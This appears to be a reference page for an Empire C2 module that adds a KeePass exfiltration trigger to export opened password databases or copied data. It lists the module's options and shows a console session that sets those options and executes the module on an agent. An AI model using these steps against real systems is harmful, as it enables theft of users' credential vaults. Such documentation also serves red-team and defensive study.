Add-KeePassConfigTrigger - Empire Module
This page contains detailed information about how to use the powershell/collection/vaults/add_keepass_config_trigger Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Add-KeePassConfigTrigger
Module: powershell/collection/vaults/add_keepass_config_trigger
Source code [1]: empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml
Source code [2]: empire/server/data/module_source/collection/vaults/KeePassConfig.ps1
MITRE ATT&CK:
T1119
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The add_keepass_config_trigger module adds a KeePass exfiltration trigger to all KeePass configs found by Find-KeePassConfig.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the add_keepass_config_trigger module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the add_keepass_config_trigger module:
Action
'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export copied data to $ExportPath).
Default value: ExportDatabase.
Agent
Agent to run the module on.
TriggerName
The name for the trigger.
Default value: Debug.
Additional Module Options
This is a list of additional options that are supported by the add_keepass_config_trigger module:
ExportPath
The path to export data to, defaults to %APPDATA%\KeePass\.
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String.
Suggested values: Out-String, ConvertTo-Json, ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml.
Add_keepass_config_trigger Example Usage
Here's an example of how to use the add_keepass_config_trigger module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/vaults/add_keepass_config_trigger
Author @tifkin_
@harmj0y
Background True
Comments https://github.com/adaptivethreat/KeeThief
Description This module adds a KeePass exfiltration trigger to all KeePass configs
found by Find-KeePassConfig.
Language powershell
Name powershell/collection/vaults/add_keepass_config_trigger
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1119
,Record Options--,----------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|----------------|----------------|----------|-------------------------------------|
| Action | ExportDatabase | True | 'ExportDatabase' (export opened |
| | | | databases to $ExportPath) or |
| | | | 'ExfilDataCopied' (export copied |
| | | | data to $ExportPath). |
|----------------|----------------|----------|-------------------------------------|
| Agent | | True | Agent to run the module on. |
|----------------|----------------|----------|-------------------------------------|
| ExportPath | | False | The path to export data to, |
| | | | defaults to %APPDATA%\KeePass\ |
|----------------|----------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Html", |
| | | | "ConvertTo-Xml"). |
|----------------|----------------|----------|-------------------------------------|
| TriggerName | Debug | True | The name for the trigger. |
'----------------'----------------'----------'-------------------------------------'
(Empire: usemodule/powershell/collection/vaults/add_keepass_config_trigger) > set Action ExportDatabase
[*] Set Action to ExportDatabase
(Empire: usemodule/powershell/collection/vaults/add_keepass_config_trigger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/vaults/add_keepass_config_trigger) > set TriggerName Debug
[*] Set TriggerName to Debug
(Empire: usemodule/powershell/collection/vaults/add_keepass_config_trigger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/collection/vaults/KeePassConfig.ps1
- https://github.com/adaptivethreat/KeeThief
- http://attack.mitre.org/techniques/T1119
- https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
See Also
Check also the following modules related to this module:
- powershell/collection/vaults/remove_keepass_config_trigger
- powershell/collection/vaults/keethief
- powershell/collection/vaults/find_keepass_config
- powershell/collection/vaults/get_keepass_config_trigger
- powershell/persistence/misc/add_sid_history
- powershell/persistence/misc/add_netuser
- powershell/privesc/powerup/service_exe_useradd
- powershell/privesc/powerup/service_useradd
- python/situational_awareness/network/dcos/chronos_api_add_job
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
